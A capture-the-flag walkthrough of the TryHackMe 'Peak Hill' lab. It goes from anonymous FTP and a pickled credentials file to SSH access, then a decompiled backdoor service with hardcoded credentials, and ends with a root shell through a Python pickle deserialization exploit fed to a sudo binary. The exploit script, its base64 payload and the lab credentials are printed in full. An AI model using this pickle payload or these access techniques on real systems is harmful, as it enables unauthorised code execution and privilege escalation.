room : https://tryhackme.com/room/peakhill#
Initial Recon
Port Scan
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nmap -Pn -A 10.10.90.44 -oN allports.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-11 09:35 CET
Nmap scan report for 10.10.90.44
Host is up (0.051s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.0.211
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
| 256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_ 256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds
┌─[puck@parrot-lt]─[~/thm/peakhill]
FTP
Anonymous log in allowed
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ftp 10.10.90.44
Connected to 10.10.90.44.
220 (vsFTPd 3.0.3)
Name (10.10.90.44:puck): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 .
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 ..
-rw-r--r-- 1 ftp ftp 7048 May 15 2020 .creds
-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
226 Directory send OK.
ftp>
We download .creds , and add it in
https://gchq.github.io/CyberChef/
CyberChef Conversion
This is pickled output (python)
This can be unpickled using the following python script
import pickle
with open(filename, "rb") as file:
pickle_data = file.read()
creds = pickle.loads(pickle_data)
print(creds)
Output:
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 pickie.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'), ('ssh_pass20', 'h'), ('ssh_pass7', '_'), ('ssh_user0', 'g'), ('ssh_pass26', 'l'), ('ssh_pass5', '3'), ('ssh_pass1', '1'), ('ssh_pass22', '_'), ('ssh_pass12', '@'), ('ssh_user2', 'e'), ('ssh_user5', 'i'), ('ssh_pass18', '_'), ('ssh_pass27', 'd'), ('ssh_pass3', 'k'), ('ssh_pass19', 't'), ('ssh_pass6', 's'), ('ssh_pass9', '1'), ('ssh_pass23', 'w'), ('ssh_pass21', '3'), ('ssh_pass4', 'l'), ('ssh_pass14', '0'), ('ssh_user6', 'n'), ('ssh_pass2', 'c'), ('ssh_pass13', 'r'), ('ssh_pass16', 'n'), ('ssh_pass8', '@'), ('ssh_pass17', 'd'), ('ssh_pass24', '0'), ('ssh_user3', 'r'), ('ssh_user4', 'k'), ('ssh_pass11', '_'), ('ssh_pass0', 'p'), ('ssh_pass10', '1')]
┌─[puck@parrot-lt]─[~/thm/peakhill]
Cleaned output
gherkin p1ckl3s_@11_@r0und_th3_w0rld
These credentials can be used to log in via SSH
┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh gherkin@10.10.90.44
gherkin@10.10.90.44's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
28 packages can be updated.
19 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
gherkin@ubuntu-xenial:~$ ls
cmd_service.pyc
gherkin@ubuntu-xenial:~$ ls -la
total 16
drwxr-xr-x 3 gherkin gherkin 4096 Feb 11 08:47 .
drwxr-xr-x 4 root root 4096 May 15 2020 ..
drwx------ 2 gherkin gherkin 4096 Feb 11 08:47 .cache
-rw-r--r-- 1 root root 2350 May 15 2020 cmd_service.pyc
gherkin@ubuntu-xenial:~$
Privilege Escalation
There is a compiled python file in the gherkin user’s home directory
scp
to host with:
┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $scp gherkin@10.10.90.44:/home/gherkin/cmd_service.pyc .
gherkin@10.10.90.44's password:
cmd_service.pyc 100% 2350 65.9KB/s 00:00
┌─[puck@parrot-lt]─[~/thm/peakhill]
Running file
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $file cmd_service.py
cmd_service.py: Python script, ASCII text executable
This can be decompiled with a tool called uncompyle6 [pip3 install uncompyle6]
uncompyle6 -o . cmd_service.pyc
This gives us the following code
# uncompyle6 version 3.7.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.2 (default, Apr 1 2020, 15:52:55)
# [GCC 9.3.0]
# Embedded file name: ./cmd_service.py
# Compiled at: 2020-05-14 13:55:16
# Size of source mod 2**32: 2140 bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)
class Service(socketserver.BaseRequestHandler):
def ask_creds(self):
username_input = self.receive(b'Username: ').strip()
password_input = self.receive(b'Password: ').strip()
print(username_input, password_input)
if username_input == username:
if password_input == password:
return True
return False
def handle(self):
loggedin = self.ask_creds()
if not loggedin:
self.send(b'Wrong credentials!')
return None
self.send(b'Successfully logged in!')
while True:
command = self.receive(b'Cmd: ')
p = subprocess.Popen(command,
shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
self.send(p.stdout.read())
def send(self, string, newline=True):
if newline:
string = string + b'\\n'
self.request.sendall(string)
def receive(self, prompt=b'> '):
self.send(prompt, newline=False)
return self.request.recv(4096).strip()
class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
pass
def main():
print('Starting server...')
port = 7321
host = '0.0.0.0'
service = Service
server = ThreadedService((host, port), service)
server.allow_reuse_address = True
server_thread = threading.Thread(target=(server.serve_forever))
server_thread.daemon = True
server_thread.start()
print('Server started on ' + str(server.server_address) + '!')
while True:
sleep(10)
if __name__ == '__main__':
Decrypting the hardcoded credentials
┌─[puck@parrot-lt]─[~/thm/peakhill] └──╼ $python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from Crypto.Util.number import bytes_to_long, long_to_bytes >>> long_to_bytes(1684630636) b'dill' >>> long_to_bytes(2457564920124666544827225107428488864802762356) b'n3v3r_@_d1ll_m0m3nt' >>> ┌─[puck@parrot-lt]─[~/thm/peakhill]
This program starts a listener on port 7321 which was seen in the Nmap scan
Connecting to the service with nc
┌─[puck@parrot-lt]─[~/thm/peakhill] └──╼ $nc 10.10.90.44 7321 Username: dill Password: n3v3r_@_d1ll_m0m3nt Successfully logged in! Cmd: ls Cmd: whoami dill Cmd: cat ~/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn [redacted] N8I+VHpYh0mrQOzhKLu3Xy9I /V7pwBay5mHnsAAAAKam9obkB4cHMxNQE= -----END OPENSSH PRIVATE KEY----- Cmd: Cmd: ^C ┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
This shell can be used to read the dill user’s id_rsa file and SSH into the box as the dill user
┌─[puck@parrot-lt]─[~/thm/peakhill] └──╼ $ssh -i id_rsa dill@10.10.90.44 Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 28 packages can be updated. 19 updates are security updates. Last login: Wed May 20 21:56:05 2020 from 10.1.122.133 dill@ubuntu-xenial:~$ ls user.txt dill@ubuntu-xenial:~$ cat user.txt f1e1[redacted]b6a0 dill@ubuntu-xenial:~$ sudo -l Matching Defaults entries for dill on ubuntu-xenial: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dill may run the following commands on ubuntu-xenial: (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm dill@ubuntu-xenial:~$ ls -la /opt/peak_hill_farm/peak_hill_farm -rwxr-x--x 1 root root 1218056 May 15 2020 /opt/peak_hill_farm/peak_hill_farm dill@ubuntu-xenial:~$ file /opt/peak_hill_farm/peak_hill_farm /opt/peak_hill_farm/peak_hill_farm: executable, regular file, no read permission
Looking at sudo -l
Viewing the permissions,Running the script with “123”Looks like it is expecting base64 ,Encoding “123” with base64 and trying again, This program can be exploited by entering a pickled object with malicious code
Here is an article on it
Create an exploit script
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $cat expo.py
#!/usr/bin/env python3
import pickle
import base64
class execute(object):
def __reduce__(self):
import os
return(os.system,("/bin/sh",))
print(base64.b64encode(pickle.dumps(execute())))
┌─[puck@parrot-lt]─[~/thm/peakhill]
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 expo.py
b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
┌─[puck@parrot-lt]─[~/thm/peakhill]
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: 123 failed to decode base64 dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: aG9pCg== this not grow did not grow on the Peak Hill Farm! :( dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu' failed to decode base64 dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu root@ubuntu-xenial:/opt/peak_hill_farm# cd /root root@ubuntu-xenial:/root# ls root.txt root@ubuntu-xenial:/root# cat root.txt cat: root.txt: No such file or directory root@ubuntu-xenial:/root# /bin/sh # cd /root # ls root.txt # cat * e88f[redacted]ee28 #
Done.